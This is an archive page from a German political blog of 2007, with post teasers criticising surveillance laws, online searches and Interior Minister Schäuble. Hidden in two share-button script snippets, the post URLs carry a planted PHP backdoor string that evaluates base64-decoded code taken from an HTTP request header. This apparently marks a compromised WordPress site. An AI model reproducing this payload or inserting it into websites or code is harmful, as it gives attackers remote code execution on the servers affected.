Das Ende der Superlative

Freitag, Juni 1st, 2007

Manchmal rächt es sich, dass die Aneinanderreihung von Superlativen stilistisch schlecht ist. Denn manchmal wäre sie notwendig. So muss ich ehrlich gestehen, dass ich für die Ideen die der Bundesrat heute zur Telekommunikationsüberwachung vorgelegt hat, keine Worte mehr finde, diese treffend zu kommentieren. Ohne irgendwelches Verantwortungsbewusstsein wird der Überwachungsstaat vorangetrieben: - Da wird ...

Das Grundrecht “Internetfreiheit” - ein Taschenspielertrick?

Mittwoch, Mai 23rd, 2007

Scheinbar neue Töne aus der SPD und CDU/CSU. Nach den Anschlägen auf die verfassungsmäßige demokratische Grundordnung in den letzten Monaten, mit denen man vorgeblich die innere Sicherheit zu schützten dachte, könnte man nun an einen Meinungsumschwung glauben. Immerhin möchte man ein neues Grundrecht einführen. Diese Welt [gemeint ist das Internet, Anm. Verf.] ...

Heiligendamm - Der Höhepunkt des Niedergangs…

Freitag, Mai 18th, 2007

... der Demokratie. Die politische Elite baut sich ihr Nest in Heiligendamm was schätzungsweise zwischen 100 Millionen Euro und 200 Millionen Euro kosten wird. Einen höheren Preis zahlt aber gegenwärtig der Rechtsstaat. Vorbeugehaft, Massengefängnisse, und Großrazzien zur Einschüchterung sind das, was Politik und Behörden gegenwärtig zu bieten haben. Neu ...

Bremen: Eine kleine Wahl mit großen Folgen

Montag, Mai 14th, 2007

Bremen hat gewählt und ein deutliches Zeichen gesetzt: Die Grünen erreichen mit 16,43% ihr bestes Ergebnis in einer Landtagswahl aller Zeiten, die Linkspartei zieht zum ersten Mal in ihrer Geschichte in ein westdeutsches Landesparlament ein - ein Ruck geht durch Deutschland. Ein Ruck nach links. Sogar Claus Christian Mahlzahn, der von ...

Online-Durchsuchung bei german-police.org

Donnerstag, Mai 10th, 2007

Wie sich bei golem.de lesen lässt, wurde das scheinbar länger nicht mehr genutze Forum der Polizisten in Deutschland german-police.org gehackt. Als "präventive Beschlagnahme" bezeichnen die Protestierenden den Angriff, Mit "Generalbundesdatenantifaschist Hagbard Celine" unterschrieben war das Defacement auf der externer Link in neuem Fenster folgtWebseite. Weiter gäbe es "...ernstzunehmende Hinweise, das sich Teile ...

Die Hexenjagd um die “Kinderpornographie”

Montag, Mai 7th, 2007

Dass "Pädophile" inzwischen gleich dem Kommunismus unter Mc Carthey an jeder Straßenecke vermutet wird, ist ja nichts neues. Neu allerdings ist, dass die Staatsanwaltschaft Halle wegen des Verdachts auf Kinderpornographie in Second Life gegen unbekannt ermittelt. Ein Fall, der ausgerechnet bei Ermittler Vogt, der die umstrittene Operation Mikado angeleiert hat, gelandet ...

Gott und Stasi 2.0 - Es lebt auch in DIR!

Mittwoch, Mai 2nd, 2007

Quelle: Pantoffelpunk.de Ein schönes Bild, das perfekt zum Stasi-2.0 T-Shirt von dataloo passt. SHARETHIS.addEntry({ title: "Gott und Stasi 2.0 - Es lebt auch in DIR!", url: "http://www.lawlita.com/2007/05/02/gott-und-stasi-20-es-lebt-auch-in-dir/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });

Die Online-Durchsuchung ist Realität

Mittwoch, April 25th, 2007

Wie die Bundesregierung auf Anfrage der FDP heute erklärt hat, ist die sog. Online-Durchsuchung bereits heute Realität. Zumindest die Geheimdienste des Bundes sind bereits durch eine Dienstanweisung von Otto Schily zur Online-Durchsuchung berechtigt worden. Im Urteil des Bundesverfassungsgericht zum großen Lauschangriff verwiesen die Richter 2004 aber auf einen Kernbereich privater Lebensführung, der ...

Deutschland ist ein Land…

Freitag, April 20th, 2007

... aus dem wie der Nordwind der Terror kommt. Dies suggeriert zumindest die US-Botschaft in Berlin: Die diplomatischen und konsularischen Einrichtungen der Vereinigten Staaten in Deutschland verstärken ihre Sicherheitsmaßnahmen. Wir unternehmen diese Schritte als Reaktion auf eine erhöhte Bedrohungslage. Die US-Botschaft empfiehlt Amerikanern in Deutschland, ihre Wachsamkeit zu verstärken und angemessene ...

Bundesregierung baut Bürgerrechte aus

Mittwoch, April 18th, 2007

Das Bundeskabinett hat heute einen neuen Gesetzesentwurf beschlossen: Die Vorratsdatenspeicherung. Sie dient laut Justizministerin Zypries u.a. dem Ausbau der Bürgerrechte. Damit tritt sie in die Fußstapfen von Wolfgang Schäuble, der die Abschaffung der Unschuldsvermutung höchstwahrscheinlich als Beitrag zur Stärkung des Rechtsstaats versteht. Die ewigen Nörgler rufen derweil noch immer zur Verfassungsbeschwerde ...

Kurz notiert: Schäuble schäubelt wieder II

Mittwoch, April 18th, 2007

Wäre es richtig zu sagen: Lieber werfe ich jemanden unschuldig ins Gefängnis, als dass ich das Risiko eingehe, dass der sehr unwahrscheinliche Fall von zehn Anschlägen eintritt. Nach meiner Auffassung wäre das richtig. (So Schäuble bei Stern.de) Anm: Zum besseren Verständnis wurde Schäubles Formulierung dem Sinngehalt entsprechend angepasst. SHARETHIS.addEntry({ title: "Kurz notiert: Schäuble ...

Kurz notiert: Schäuble schäubelt wieder

Montag, April 16th, 2007

Wolfgang Schäubles neuester Coup ist die Schaffung eines neuen Sicherheitsbegriffes, und die Einebnung zwischen äußerer und innerer Sicherheit...SHARETHIS.addEntry({ title: "Kurz notiert: Schäuble schäubelt wieder", url: "http://www.lawlita.com/2007/04/16/kurz-notiert-schaeuble-schaeubelt-wieder/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });

Guantanamo wird hoffähig

Montag, April 9th, 2007

David Hicks wurde Ende März zu einer Gefängnisstrafe von 7 Jahren verurteilt, von denen er nur 9 Monate absitzen muss. Grund: Unterstützung des Freiheitskampfes Terrorismus. Der Deal mit dem Militärgericht, der ihm dieses milde Urteil bescherte, sieht unter anderem vor, ein Jahr lang keine Interviews geben zu dürfen. Darüber hinaus musste ...

Schäuble im Terrorwahn

Donnerstag, April 5th, 2007

Gegenwärtig erinnert mich die Geschichte des Herrn Schäuble an die Geschichte des Herrn Bush Junior. Waren bei dessen erstem Schlag gegen den Terror in Afghanistan noch alle mit dabei, stehen heute alle grummelnd in ihrer Ecke und geben böse Kommentare gegen den Amoklaufenden großen Freund jenseits des Atlantiks ab. Sogar ...